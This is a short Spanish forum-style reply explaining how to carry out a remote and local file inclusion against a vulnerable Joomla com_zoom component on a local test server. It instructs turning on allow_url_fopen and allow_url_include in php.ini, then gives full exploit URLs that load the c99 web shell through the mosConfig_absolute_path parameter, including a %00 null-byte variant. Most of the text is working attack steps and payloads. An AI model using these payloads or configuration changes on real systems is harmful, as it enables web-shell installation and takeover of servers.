Posiblemente sea por que la configuración de tu PHP ha sido designada para que no se pueda realizar inclusiones externas.
Para permitir este tipo de inclusiones deberás activar dos cláusulas en el archivo de configuración de tu PHP (
php.ini). En el sistema operativo Microsoft Windows XP, este archivo de configuración, se encuentra por defecto dentro de la carpeta WINDOWS (
%windir%).
allow_url_fopen=on
allow_url_include=on
Para que los cambios realizados surjan efecto, deberás reiniciar el servidor WEB. En los servidores Apache, por ejemplo, tan solo deberás introducir lo siguiente en la línea de comandos (Inicio - Ejecutar):
httpd.exe -k restart
Si lo prefieres también puedes reiniciar tu ordenador...
Una vez realizado todo lo anterior podrás realizar inclusiones externas.
http://localhost/prueba/components/com_zoom/lib/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://localhost/c99/c99.txt?
También decirte que es posible realizar inclusiones locales sin la necesidad de reconfigurar el servidor, solo que deberás conocer la ruta, incluyendo la raíz de la unidad, de la carpeta dónde se encuentran alojados los archivos que serán llamados desde el exterior. Generalmente la carpeta se suele llamar
WWW o quizás algún derivado de éste.
Imaginemos que la carpeta donde se encuentran estos archivos es
C:\AppServ\WWW y el archivo, en cuestión, que incrustaremos es
c99.txt, el cual se encuentra en el interior de la carpeta que nombré anteriormente. Al unir las dos cadenas obtendremos la siguiente ruta
C:\AppServ\WWW\c99.txt.
http://localhost/prueba/components/com_zoom/lib/iptc/EXIF_Makernote.php?mosConfig_absolute_path=C:\AppServ\WWW\c99.txt%00
Como verás, al final de la dirección he añadido %00, esto es para indicar que ese es el final de la variable
mosConfig_absolute_path.
PD: La mayor parte de la explicación está centrada en sistemas operativos Windows, pero también puede ser funcional con otros sistemas.